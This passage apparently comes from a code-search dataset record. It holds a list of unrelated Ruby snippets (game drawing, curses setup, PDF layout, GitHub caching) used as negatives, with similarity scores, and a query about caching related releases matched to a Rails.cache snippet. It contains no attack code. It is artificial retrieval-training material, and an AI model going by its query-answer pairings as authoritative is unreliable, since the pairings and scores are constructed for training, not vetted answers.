\t@subtitle_font.draw_text \"Fastest time to find a set: #{@p1.set_times.at 0}\", 645, 30, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t@subtitle_font.draw_text \"Slowest time to find a set: #{@p1.set_times.at -1}\", 645, 60, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t@subtitle_font.draw_text \"Average time to find a set: #{@p1.time_sum / @p1.set_times.length}\", 645, 90, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n else\n \t@subtitle_font.draw_text \"No sets found yet\", 645, 30, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n @subtitle_font.draw_text \"Hints used: #{@p1.hints_used}\", 645, 120, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @game_settings.are_hints_enabled\n @subtitle_font.draw_text \"Score: #{@p1.score}\", 645, 150, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n @subtitle_font.draw_text \"Total Game Time: #{@game_timer.current}\", 645, 490, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \n if @game_settings.p2_init\n @subtitle_font.draw_text \"Player 2 Statistics:\", 645, 280, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \tif @p2.set_times.length > 0\n \t @subtitle_font.draw_text \"Fastest time to find a set: #{@p2.set_times.at 0}\", 645, 310, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t @subtitle_font.draw_text \"Slowest time to find a set: #{@p2.set_times.at -1}\", 645, 340, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t @subtitle_font.draw_text \"Average time to find a set: #{@p2.time_sum / @p2.set_times.length}\", 645, 370, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \telse\n \t @subtitle_font.draw_text \"No sets found yet\", 645, 310, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \tend\n \t@subtitle_font.draw_text \"Score: #{@p2.score}\", 645, 430, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n\n num_cols = @playing_cards.length / 3\n count, x_offset, y_offset, x_between, y_between = 0, 5, 35, 90, 135\n (0...3).each do |row|\n (0...num_cols).each do |col|\n @playing_cards[count].image.draw(x_offset + x_between*col, y_offset + y_between*row, ZOrder::CARDS, 0.15, 0.15)\n count += 1\n end\n end\n\n # Prints out hints\n @hint.each do |card_index|\n # initial card corner values.\n left_x ,right_x, top_y, bottom_y = 5, 85, 40, 160\n\n # Highlight for hints\n draw_rect left_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),80,10,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect left_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),10,130,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect left_x + x_between*(card_index % num_cols), bottom_y + y_between*(card_index / num_cols),80,10,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect right_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),10,130,Gosu::Color::BLACK,ZOrder::CARDS\n end\n\n #TO MOVE RECTANGLE:\n # X POSITION = @currentCardIndex % numCols\n # Y POSITION = @currentCardIndex / numCols\n if @game_settings.p1_init\n x_movement = x_offset + (x_between/2.4) + x_between*(@p1.current_card_index % num_cols)\n y_movement = y_offset + (y_between/2) + y_between*(@p1.current_card_index / num_cols)\n\n # Draws current position\n draw_rect x_movement, y_movement, 20, 20, Gosu::Color::CYAN,ZOrder::CARDS\n\n # Draws current selected values\n @p1.chosen_cards_indexes.each {|index| draw_rect(x_offset + (x_between/2.4) + (x_between)*(index % num_cols), y_offset + (y_between/2) + y_between*(index / num_cols), 20, 20, Gosu::Color::CYAN, ZOrder::CARDS)}\n end\n if @game_settings.p2_init\n x_movement = x_offset + (x_between/2.4) + x_between*(@p2.current_card_index % num_cols)\n y_movement = (y_between/2) + y_between*(@p2.current_card_index / num_cols)\n\n # Draws current position\n draw_rect x_movement, y_movement, 20, 20, Gosu::Color::FUCHSIA, ZOrder::CARDS\n\n # Draws current selected values\n @p2.chosen_cards_indexes.each {|index| draw_rect(x_offset + (x_between/2.4) + (x_between)*(index % num_cols), (y_between/2) + y_between*(index / num_cols), 20, 20, Gosu::Color::FUCHSIA, ZOrder::CARDS)}\n end\n end\n end", "def draw\r\n @background_image.bmp.draw(0, 0, ZOrder::BACKGROUND)\r\n @function_UI.place_button((SCREEN_WIDTH/3) + 100, 300, \"Start!\")\r\n @function_UI.big_font.draw_text(\"SPACE WAR\", @function_UI.pos- 120, 30, ZOrder::TOP, 1.0, 1.0, Gosu::Color::YELLOW)\r\n @function_UI.big_font.draw_text(\"Instructions: \", @function_UI.pos-100, 100, ZOrder::TOP, 1.0, 1.0, Gosu::Color::RED)\r\n @function_UI.font.draw_text(\"# Press SPACE BAR to fire bullets\", @function_UI.pos-180, 140, ZOrder::TOP, 1.0, 1.0, Gosu::Color::YELLOW)\r\n @function_UI.font.draw_text(\"# Use the ARROW KEYS to navigate the Spaceship\", @function_UI.pos-180, 180, ZOrder::TOP, 1.0, 1.0, Gosu::Color::YELLOW)\r\n @function_UI.font.draw_text(\"# You have 3 Life Lines\", @function_UI.pos-180, 220, ZOrder::TOP, 1.0, 1.0, Gosu::Color::YELLOW)\r\n @function_UI.font.draw_text(\"# Press ESC to leave the Game\", @function_UI.pos-180, 260, ZOrder::TOP, 1.0, 1.0, Gosu::Color::YELLOW)\r\n draw_border((SCREEN_WIDTH/3) + 105, 305)\r\n end", "def reboot\n img = ['blue_flower', 'red_flower', 'white_flower', 'pink_flower'].sample\n @image = Gosu::Image.new window, 'images/flowers/' + img +'.png', true\n @drawing = true\n end", "def setup\n size 640, 360\n background 0\n stroke_weight 8\n (5 ... width/2).step(5) do |i|\n i.even? ? draw_short(i) : draw_long(i)\n end\nend", "def draw_imgui\n\n\t\tend", "def draw\n end", "def initialize(session,*dims)\n @session = session\n super(@session.viewport)\n self.set_dimensions(*dims)\n self.bitmap = Bitmap.new(self.width,self.height)\n # Get our background and text color from the config\n @bg_color ||= @session.config.bgColor\n @text_color ||= @session.config.textColor\n @font_name ||= @session.config.fontName\n # Draw the background color, and text entry field\n self.bitmap.fill_rect(self.bitmap.rect,@bg_color)\n @text_entry = Window_TextEntry_Console.new(\n self,\"\",0,0,self.width,CONSOLE_LINE_HEIGHT*3\n )\n @text_entry.viewport = self.viewport\n @text_entry.visible = false\n # Initialize the window with a single line and set the maximum\n # amount of lines\n @lines = []\n @lines << ConsoleLineSprite.new(self)\n @max_lines = self.height/CONSOLE_LINE_HEIGHT\n self.reposition_entry\n end", "def draw\n @img_background.draw(0, 0, 0)\n\n color = 0xfff4cc00\n @logo_font.draw_rel(\"Level #{@level}\", Game::ScreenWidth / 2, 120, ZOrder::Hud, 0.5, 0.5, 2, 2, color)\n\n end", "def create\r\n super # Create the windows\r\n show(PLACEMENT_SCREEN) # Make the main window appear\r\n end", "def start_game\n #present the start button and title and image\n @stack = @shoes.stack left: 200 do\n @prompt = @shoes.title( \"Blackjack\",\n stroke: $WHITE,\n align: \"center\")\n @author = @shoes.para( \"By: Thomas Tracy\",\n stroke: $WHITE,\n align: \"center\")\n @toBegin = @shoes.title( \"Click the cards to begin!\",\n stroke: $WHITE,\n align: \"center\")\n @splashImage = @shoes.image(\"View_application/blackjack_splash.png\").move( 350, 250)\n\n #once the start button is clicked, remove the splash and start the game\n @splashImage.click do\n #remove splash\n @stack.clear\n @splashImage.clear\n #create the game view\n newGame = GameView.new(@shoes)\n newGame.create_gameView\n end #end click\n end #end stack\n end", "def onCanvasPaint(sender, sel, event)\r\n dc = FXDCWindow.new(@canvas_disp, event)\r\n dc.foreground = @canvas_disp.backColor\r\n dc.fillRectangle(0, 0, @canvas_disp.width, @canvas_disp.height)\r\n @cards_todisp.each do |v|\r\n dc.drawImage(v.image, v.pos_x, v.pos_y)\r\n end\r\n end", "def draw\n if @winner == Const::GAME_ON\n @game.draw\n @o_board.draw\n elsif @winner == Const::GAME_LOST\n @font.draw(Const::GAME_LOST_CAPTION,\n @window.width / 2 - 170, @window.height / 2 - 30, 0)\n else\n @font.draw(Const::GAME_WON_CAPTION,\n @window.width / 2 - 170, @window.height / 2 - 30, 0)\n end\n end", "def init_screen\n nl\n Curses.noecho # Don't echo characters to the screen.\n crmode\n Curses.init_screen # Initialize the screen buffer.\n Curses.start_color\n #Curses.color_set(COLOR_GREEN)\n Curses.stdscr.keypad(true) # Enable arrow keys.\n Curses.doupdate\n curs_set(0,0)\n begin\n yield\n ensure\n Curses.close_screen\n end\n end", "def draw\n @app.clear\n @life.cells.each do |coordinates|\n x = coordinates[0]\n y = coordinates[1]\n # Cells that are going to live look different from dying cells.\n if @life.should_remain_alive?(x, y)\n @app.fill rgb(0x30, 0x30, 0xBB)\n else\n @app.fill rgb(0x50, 0x50, 0xFF)\n end\n @app.rect :left => x * @cell_width,\n :top => y * @cell_height, \n :width => @cell_width,\n :height => @cell_height\n end\n end", "def init_screen\n\t\t@screen = Curses.init_screen\n\t\tCurses.start_color\n\t\tCurses.stdscr.keypad(true)\n\t\tCurses.init_pair(Curses::COLOR_GREEN, Curses::COLOR_GREEN, Curses::COLOR_BLACK)\n\t\tCurses.init_pair(Curses::COLOR_RED, Curses::COLOR_RED, Curses::COLOR_BLACK)\n\t\tCurses.init_pair(Curses::COLOR_WHITE, Curses::COLOR_WHITE, Curses::COLOR_BLACK)\n\t\tCurses.init_pair(Curses::COLOR_CYAN, Curses::COLOR_CYAN, Curses::COLOR_BLACK)\n\t\tCurses.init_pair(Curses::COLOR_BLUE, Curses::COLOR_BLUE, Curses::COLOR_BLACK)\n\t\tCurses.init_pair(Curses::COLOR_YELLOW, Curses::COLOR_YELLOW, Curses::COLOR_BLACK)\n\t\tCurses.init_pair(Curses::COLOR_MAGENTA, Curses::COLOR_MAGENTA, Curses::COLOR_BLACK)\n\t\tbegin\n\t\t\tyield\n\t\tensure\n\t\t\tCurses.close_screen\n\t\tend\n\tend", "def draw_board\n clear_screen\n print_logo\n put_column_headers\n @rows.each do |row|\n row_string = \"\"\n slots_filled_in_row = 0\n row.each do |slot|\n if slot\n color_code = slot\n if @players.size == 2\n slot = \"X\" if slot == 1\n slot = \"O\" if slot == 2\n end\n color_code = COLOR_CODES[color_code]\n slot = slot.to_s.colorize(color_code)\n slots_filled_in_row += 1\n else\n slot = '.'\n end\n row_string << (slot + \" \")\n end\n center_puts((' ' * 11 * slots_filled_in_row) + row_string)\n end\n put_column_headers\n end", "def print_graphics\n \n # Print header graphic and text above the box.\n header_graphic = Rails.root.join('app', 'assets', 'quote_header.jpg')\n image(header_graphic, at: [0.35.in, 10.75.in], width: 7.8.in, height: 1.25.in)\n self.vms_text_box('QUOTATION', 0, 9.4, 8.5, 0.25, 16, :bold, :center, :center)\n\n # Define line widths.\n self.line_width = 0.012.in\n\n # Draw footer.\n fill_color('eeeeee')\n fill_rectangle([0.25.in, 1.5.in], 8.in, 1.25.in)\n stroke_rectangle([0.25.in, 1.5.in], 4.in, 0.75.in)\n stroke_rectangle([4.25.in, 1.5.in], 4.in, 0.75.in)\n stroke_rectangle([0.25.in, 0.75.in], 8.in, 0.5.in)\n self.vms_text_box(\"Terms:\\n\\n<strong>1% 10 DAYS, NET 30\\nQUOTED PRICES ARE FOB VARLAND PLANT</strong>\", 0.35, 1.5, 3.8, 0.75, 9, :normal, :left, :center)\n self.vms_text_box(\"Quoted By:\\n\\n\\n<strong>John McGuire</strong>\", 4.35, 1.5, 3.8, 0.75, 9, :normal, :left, :center)\n signature_graphic = Rails.root.join('app', 'assets', 'tim.png')\n image(signature_graphic, at: [(8.15 - 1.7224).in, 1.4.in], width: 1.7224.in, height: 0.55.in)\n self.vms_text_box(\"CORPORATE COMPLIANCE POLICY: Varland Metal Service, Inc. certifies that its pollution abatement system is operated\\nin compliance with U.S. EPA, state, and local regulations applicable to waste water discharge and sludge disposal.\", 0.25, 0.75, 8, 0.5, 9, :italic, :center, :center)\n\n return\n\n # Draw main box.\n stroke_rectangle([0.25.in, 8.25.in], 0.5.in, 0.25.in)\n stroke_rectangle([0.75.in, 8.25.in], 2.in, 0.25.in)\n stroke_rectangle([2.75.in, 8.25.in], 3.25.in, 0.25.in)\n stroke_rectangle([6.in, 8.25.in], 1.25.in, 0.25.in)\n stroke_rectangle([7.25.in, 8.25.in], 1.in, 0.25.in)\n self.vms_text_box('Code', 0.25, 8.25, 0.5, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Part Number', 0.75, 8.25, 2, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Part Description/Process Specification', 2.75, 8.25, 3.25, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Quantity', 6, 8.25, 1.25, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Price', 7.25, 8.25, 1, 0.25, 9, :bold, :center, :center)\n stroke_rectangle([0.25.in, 8.in], 0.5.in, 6.5.in)\n stroke_rectangle([0.75.in, 8.in], 2.in, 6.5.in)\n stroke_rectangle([2.75.in, 8.in], 3.25.in, 6.5.in)\n stroke_rectangle([6.in, 8.in], 1.25.in, 6.5.in)\n stroke_rectangle([7.25.in, 8.in], 1.in, 6.5.in)\n\n # Draw terms boxes.\n stroke_rectangle([0.25.in, 1.5.in], 4.in, 0.25.in)\n stroke_rectangle([0.25.in, 1.25.in], 4.in, 0.5.in)\n stroke_rectangle([4.25.in, 1.5.in], 4.in, 0.25.in)\n stroke_rectangle([4.25.in, 1.25.in], 4.in, 0.5.in)\n self.vms_text_box('Terms: 1% 10 Days, Net 30', 0.25, 1.5, 4, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('All quoted prices are FOB Varland', 4.25, 1.5, 4, 0.25, 9, :bold, :center, :center)\n\n # Draw corporate compliance policy.\n self.vms_text_box(\"CORPORATE COMPLIANCE POLICY: Varland Metal Service, Inc. certifies that its pollution abatement system is operated\\nin compliance with U.S. EPA, state, and local regulations applicable to waste water discharge and sludge disposal.\", 0.25, 0.65, 8, 0.4, 8, :normal, :center, :center)\n \n end" ]
[ "0.6606168", "0.6362887", "0.6183852", "0.6148091", "0.6133532", "0.6118135", "0.6115432", "0.60270387", "0.5982933", "0.5910254", "0.59055966", "0.5904751", "0.58965105", "0.5881203", "0.5866509", "0.5801632", "0.5777589", "0.57502574", "0.5747857", "0.57348573", "0.5722634", "0.57166207", "0.5703898", "0.56988907", "0.56984216", "0.569554", "0.5694542", "0.56779796", "0.5671541", "0.5670379", "0.5667441", "0.56561595", "0.5647691", "0.564061", "0.5638917", "0.5628964", "0.5628566", "0.5626119", "0.5618754", "0.5616793", "0.5616759", "0.5614767", "0.5604003", "0.56035334", "0.55975384", "0.55692095", "0.5567453", "0.5560514", "0.55390185", "0.5516987", "0.55131805", "0.55065197", "0.54957676", "0.5485707", "0.54828763", "0.5470547", "0.5464477", "0.5463638", "0.5460212", "0.54573506", "0.54564947", "0.5444617", "0.5444062", "0.544095", "0.54390025", "0.5438851", "0.54384685", "0.54241604", "0.54086965", "0.54084563", "0.54026645", "0.54026645", "0.54026645", "0.54003423", "0.54003423", "0.54003423", "0.54003423", "0.5399771", "0.5397955", "0.5396711", "0.5385358", "0.5383456", "0.5383229", "0.53742105", "0.5373072", "0.53703487", "0.53681964", "0.5366482", "0.53620183", "0.5361942", "0.53600925", "0.5352372", "0.53523487", "0.53474313", "0.534306", "0.53390044", "0.53338563", "0.5332474", "0.5329211", "0.5325399" ]
0.65770435
1
caching related releases on release page. either updated in 1 hour or via an updated_at attribute change
def related_releases Rails.cache.fetch("releases/release-#{id}", :expires_in => 1.hour) do real_releases.all(:order => 'date DESC', :limit => 15) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fetch_new_release_metadata\n return false if new_files.empty?\n msg \"Caching metadata for new releases\"\n new_files.each {|f| f.fetch}\n end", "def update_cache\n # Does nothing...up to subclasses to implement.\n end", "def get_cache_version\n data = get_from_cdn('version', {t: Time.now.to_i}, {public: true, uncompressed: true})\n\n unless data\n Tml.logger.debug('No releases have been published yet')\n return '0'\n end\n\n data['version']\n end", "def update\n download_page if cache_expired?\n read_cache\n end", "def releases\n repo.releases(changelog.changes)\n end", "def published_version\n Rails.cache.fetch(\"published_version_for_#{name}\", expires_in: 10.minutes) do\n strategy.published_version\n end\n end", "def auto_update_release_date\n if update_release_date\n self.release_date = default_release_date\n end\n end", "def update (url, response, timestamp)\n \n @semaphor.synchronize(){||\n if @cache.has_key?(url)\n # then this url is already in the cache and we simply update the timestamp\n new_entry = CacheEntry.new(url, response, timestamp)\n @cache[url] = new_entry\n else\n new_entry = CacheEntry.new(url, response, timestamp)\n # ensure that this object is not too large\n return if new_entry.response.bytesize() > max_object_size \n # remove items from the cache until this new entry fits.\n while @current_load + new_entry.response.bytesize() > max_load do\n evict()\n end\n @current_load = @current_load + new_entry.response.bytesize()\n @cache[url] = new_entry\n end\n }\n end", "def after_update(entry)\n expire_cache_for(entry)\n end", "def cache_change\n @project = Project.find_by_id(project_id)\n if !@project.nil? # prevents issue where @project was returning null, if the project hadn't been approved yet.\n if @project.is_stage_one == \"Is not Stage One\" && @project.active == true && attribute_name != 'active' && @project.donor.name == 'China'\n\n first = Rails.cache.fetch(\"recent/first\")\n\n # if the last project was the same as this one, store it in the string\n # instead of making a new entry\n if first && first[:id] == project_id\n action = first[:action]\n new_action = \"#{(attribute_name || \"#{association_model}s\").titleize.downcase}\"\n\n #no duplicates\n unless /#{new_action}/ =~ action\n first[:action] = action << \", #{new_action}\"\n first[:time] = self.updated_at\n Rails.cache.write(\"recent/first\", first)\n else\n false\n end\n\n else\n # add a new entry and move the old ones down\n second = Rails.cache.fetch(\"recent/second\")\n\n Rails.cache.write(\"recent/third\", second)\n Rails.cache.write(\"recent/second\", first)\n @update_sent = \"updated #{(attribute_name || \"#{association_model}s\").titleize.downcase}\"\n json = {\n id: @project.id,\n title: @project.title,\n info: @project.to_english(exclude_title: true),\n action: @update_sent,\n time: self.updated_at\n }\n\n Rails.cache.write(\"recent/first\", json)\n end\n else\n false\n end\n end\n end", "def ensure_cache_up_to_date\n self.last_update_timestamp = self.redis.get(\"bluster:last_update_timestamp\").to_i\n if self.last_update_timestamp.nil?\n update_object_cache\n elsif self.last_update_timestamp != File.new(self.objects_path).mtime.to_i\n update_object_cache\n end\n end", "def graph_release_time\n data = Rails.cache.fetch(\"graph_release_time_sprint_#{@sprint.id}\", expires_in: 30.minutes) {\n data = Array.new {Array.new}\n user_stories = @sprint.issues.select(&:done?).sort_by(&:resolutiondate)\n data[0] = user_stories.map.with_index {|issue, index| {x: index, y: issue.key}}\n data[1] = user_stories.map.with_index {|issue, index| {x: index, y: issue.time_in_wip}}\n data[2] = user_stories.map.with_index {|issue, index| {x: index, y: issue.flagged?}}\n data[3] = user_stories.map.with_index {|issue, index| {x: index, y: issue.first_time_pass_rate?}}\n data[4] = user_stories.map.with_index {|issue, index| {x: index, y: issue.bug?}}\n data[5] = user_stories.map.with_index {|issue, index| {x: index, y: issue.resolutiondate.strftime(\"%b %d\")}}\n data[6] = user_stories.map.with_index {|issue, index| {x: index, y: issue.more_than_sprint?}}\n data[7] = user_stories.map.with_index {|issue, index| {x: index, y: issue.time_to_release}}\n data[8] = user_stories.map.with_index {|issue, index| {x: index, y: issue.id}}\n data\n }\n render json: data\n end", "def cache_on?; end", "def cache_on?; end", "def new_version\n # the expiry needs to be longer than any page that might use this as a\n # cache key.\n time = Time.now.to_i\n versionable_options[:cache].write(version_cache_key, time, :expires_in => versionable_options[:ttl])\n time\n end", "def releases\n self.class.releases\n end", "def releases\n self.class.releases\n end", "def get_release(release_id)\n query_and_build \"releases/#{release_id}\"\n end", "def after_update(event)\n expire_cache_for(event)\n end", "def after_update(event)\n expire_cache_for(event)\n end", "def after_update(event)\r\n expire_cache_for(event)\r\n end", "def update_cache(commit, cache)\n cache[commit[:url]] = commit[:revision].to_i if new?(commit, cache)\n cache\n end", "def fetch\n self.version = begin\n ver = cache.fetch(CACHE_VERSION_KEY) do\n {'version' => Tml.config.cache[:version] || 'undefined', 't' => cache_timestamp}\n end\n validate_cache_version(ver)\n end\n end", "def update! #update\n if @expires_in > LONG_EXPIRED\n add = 1\n elsif @expires_in > MEDIUM_EXPIRED\n add = 2\n elsif @expires_in > 0\n add = 3\n end\n @quality = @expires_in > 0 ? [@quality + add, 50].min : 0\n @expires_in -= 1\n end", "def after_update(post)\n expire_cache_for(post)\n end", "def after_update(post)\n expire_cache_for(post)\n end", "def after_update(snippet)\n expire_cache_for(snippet)\n end", "def after_update(page)\n expire_cache_for(page)\n end", "def index\n @releases = Release.all\n end", "def index\n @releases = Release.all\n end", "def cached?; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def show\n @release = Release.find(params[:id])\n @total_downloads = 0\n @release.versions.each do |v|\n @total_downloads += v.downloads\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release }\n end\n end", "def release\n _init\n\n @release = Release.find_by_name(params[:release]) if params[:release]\n @release = Release.actived.first unless @release\n\n render :template => 'sprint/release', :layout => 'release'\n end", "def latest\n releases.first\n end", "def refresh_release_tags(releases)\n [true, false].each do |type|\n releases[type.to_s.to_sym].sort.uniq.each do |release|\n release_tags << ReleaseTag.for(self, release, type)\n end\n end\n end", "def cache_version\n if cache_versioning && timestamp = try(:updated_at)\n timestamp.utc.to_s(:usec)\n end\n end", "def update_cache(lastupdate)\n client = TheTvDbParty::Client.new(ENV['TVDB_API_KEY'])\n timeDelta = (Time.new()-lastupdate).to_i\n timeframe = \"day\"\n if timeDelta>86400\n timeframe = \"week\"\n if timeDelta>604800\n timeframe = \"month\"\n if timeDelta>2592000\n timeframe = \"all\"\n end\n end\n end\n update = client.get_updates_by_timeframe(timeframe)\n subscribedSeries = Array.new\n SeriesSubscription.all.group(:seriesid).find_each do |series|\n subscribedSeries.push(series.seriesid)\n end\n seriesToUpdate = Array.new\n # Look at the edited series and add them to our update list\n for series in update.series\n if(series[:updatetime].to_i>lastupdate && subscribedSeries.index(series[:seriesid].to_i).nil? == false)\n seriesToUpdate.push(series[:seriesid])\n end\n end\n if(update.episodes.nil? == false )\n # Look at the edited episodes and determine if we should update their series\n for episode in update.episodes\n if(episode[:updatetime].to_i>lastupdate && subscribedSeries.index(episode[:seriesid].to_i).nil? == false && seriesToUpdate.index(episode[:seriesid]).nil? == true)\n seriesToUpdate.push(episode[:seriesid])\n end\n end\n end\n\n for seriesid in seriesToUpdate\n # Get information about the show\n full_record = client.get_series_all(seriesid).full_series_record\n seriesInformation = SeriesInformation.find_by seriesid: seriesid\n if(seriesInformation.nil?)\n seriesInformation = new_series_information_from_series_record(full_record)\n end\n changed = false\n if(seriesInformation.seriesname != full_record.seriesname)\n seriesInformation.seriesname = full_record.seriesname\n changed = true\n end\n if(seriesInformation.overview != full_record.overview)\n seriesInformation.overview = full_record.overview\n changed = true\n end\n if(seriesInformation.genres != full_record.genres)\n seriesInformation.genres = full_record.genres\n changed = true\n end\n if(changed)\n seriesInformation.save\n end\n # Remove all episodes we have about the show\n EpisodeInformation.where(seriesid: seriesid).destroy_all\n \n # Go through the data and add in new episodes\n for j in 1..(full_record.episodes.length)\n if(full_record.episodes[full_record.episodes.length-j].firstaired)\n if(full_record.episodes[full_record.episodes.length-j].firstaired > Date.today.prev_day)\n # If we find an episode which hasn't aired yet, or airs today, add it to the list.\n new_episode_information_from_episode_record(full_record.episodes[full_record.episodes.length-j])\n else\n # As we go backwards through the episodes array we can break on the first episode which has already aired\n break\n end\n end\n end\n end\n end", "def update_cache\n self.update_attribute :resources_cache, self.resources\n end", "def version_for_cache\n @version_for_cache ||= if real_version\n real_version\n else\n log.warn(log_key) do\n \"No version given! Git caching disabled.\" \\\n end\n\n \"0.0.0\"\n end\n end", "def git_cache\n self[KEY]\n end", "def _cache_control; end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @releases = args[:releases] if args.key?(:releases)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n end", "def index\n @object_releases = ObjectRelease.all\n end", "def cache_changes_before_update\n changes.each do | attr_name, values |\n message = case attr_name\n when 'name' then \"Configuration name changed\"\n when 'comments' then \"Comment updated\"\n when 'jshub_version' then \"jsHub tag version updated\"\n end\n if message\n revision_cache << \"#{message} to '#{values[1]}' (was '#{values[0]}')\"\n end\n end\n end", "def after_update(post)\n\n if post.changes.has_key?('hits')\n expire_action :controller => 'posts', :action => 'show',:id => post\n controller.params[:page] ?\n expire_action(:controller => 'posts', :action => 'index', :page => params[:page]): expire_action(:controller => 'posts', :action => 'index')\n elsif post.changes.has_key?('status')\n expire_action :controller => 'posts', :action => 'rss'\n #adding/deleting a new post needs to refresh the whole paginate. RoR action cache sucks!\n total_page = (Float(Post.published.count)/Post.per_page).ceil\n p = 1\n begin\n p != 1 ?\n expire_action(:controller => 'posts', :action => 'index', :page => p): expire_action(:controller => 'posts', :action => 'index')\n p += 1\n end while p <= total_page\n end\n\n \n \n \n\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "def after_update(place)\n expire_cache_for(place)\n end", "def meta_refresh; end", "def show\n fresh_when(:last_modified => @article.updated_at, :public => true, :etag => @article) if Rails.env.production?\n end", "def after_update(record)\n if Rails.configuration.cache_classes == true\n expire_cache_for(record, 'update')\n end\n end", "def release( release_attributes= {},option={})\n unless option[:page_only]\n template_release = self.template_releases.build\n template_release.name = \"just a test\"\n template_release.save!\n end\n self.reload # release_id shoulb be template_release.id\n @lg = PageGenerator.releaser( self )\n @lg.release \n self.current_template_release \n end", "def show\n @release = Release.find(params[:id])\n \n # send to release page if not archived\n redirect_to(:controller => 'releases', :action => 'show', :id => @release.id) and return if !@release.archived\n \n # populate release fixes from mantis\n if @release.mantis_project_version_id\n @issues = Issue.fixed(@release.mantis_project_id, @release.mantis_project_version_name)\n end\n @version_released = @release.released?\n @version_release_date = Time.at(@release.release_date).strftime(\"%Y-%m-%d\") if @version_released && @release.release_date\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @release }\n end\n end", "def after_update(bite)\n expire_cache_for(bite)\n end", "def cache_version\n return unless cache_versioning\n\n if has_attribute?(\"updated_at\")\n timestamp = updated_at_before_type_cast\n if can_use_fast_cache_version?(timestamp)\n raw_timestamp_to_cache_version(timestamp)\n\n elsif timestamp = updated_at\n timestamp.utc.to_fs(cache_timestamp_format)\n end\n elsif self.class.has_attribute?(\"updated_at\")\n raise ActiveModel::MissingAttributeError, \"missing attribute 'updated_at' for #{self.class}\"\n end\n end", "def post_release_v2(app_name, slug, dyno_types, user, token,\n slug_url, repo_size)\n slug_url_regex = /https:\\/\\/(.+?)\\.s3\\.amazonaws\\.com\\/(.+?)\\?/\n _, slug_put_key, slug_put_bucket = slug_url.match(slug_url_regex).to_a\n start = Time.now\n payload = {\n # \"head\" => head,\n # \"prev_head\" => commit_hash,\n # \"current_seq\" => current_seq,\n \"slug_put_key\" => slug_put_key,\n \"slug_put_bucket\" => slug_put_bucket,\n \"repo_size\" => repo_size,\n \"release_descr\" => \"sokoban-built release\", # punting for v2\n \"language_pack\" => \"Sokoban\", # punting for v2\n \"buildpack\" => \"Sokoban\", # punting for v2\n \"slug_version\" => 2,\n \"slug_size\" => File.size(slug),\n \"stack\" => \"cedar\",\n \"user\" => user,\n \"process_types\" => dyno_types,\n \"git_log\" => \"\",\n \"run_deploy_hooks\" => false,\n \"addons\" => {},\n \"config_vars\" => {}}\n\n release_name =\n Timeout.timeout(30) do\n uri = URI.parse(release_uri(app_name))\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n if uri.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n request.basic_auth(user, token)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request.body = JSON.unparse(payload)\n response = http.request(request)\n if (response.code != \"200\")\n error_message = begin\n response.body && JSON.parse(response.body)[\"error\"] || \"failure releasing code\"\n rescue Timeout::Error\n \"timed out releasing code\"\n rescue\n \"failure releasing code\"\n end\n raise(error_message)\n end\n response.body\n end\n release_name\n end", "def show_repo_details\n # Synchronize repo with Git Hub (1 day between refreshs)\n @repo.sync_github!(1.day).save!\n \n # Synchronize contributors (1 hour between refreshs)\n if @repo.sync_contribs_delay?(1.hour)\n github_contributors_login = @repo.get_github_contributors\n \n if github_contributors_login\n users = CacheUser.where(login: github_contributors_login)\n\n # Drop any relation with old contributors - I think i've wasted my time\n if users.length > 0\n CacheContrib.where(cache_repo_id: @repo).where.not(cache_user_id: users.map(&:id)).delete_all\n end\n\n # Add new contributors with empty personal data\n new_users = github_contributors_login - users.map(&:login)\n new_users.each do |github_login_new|\n CacheUser.create(login: github_login_new)\n end\n \n # Make link for each contributor\n current_contribs = CacheUser.joins(:cache_contribs).where(cache_contribs: {cache_repo_id: @repo.id})\n CacheUser.where(login: github_contributors_login).where.not(id: current_contribs).each do |user|\n user.cache_contribs.build(cache_repo: @repo)\n user.save\n end\n end\n \n @repo.upd_userlist_at = Time.now\n @repo.save!\n end\n \n # Load contributors from cache, contributors without personal data or too old are first\n # Nota : I use this method because a simple select order by synced_on show nil in first\n # but I read than oracle put them at the end depending server configuration. This suck !\n @users = CacheUser.never_synced.only_repo(@repo).order(:updated_at)\n @users.merge 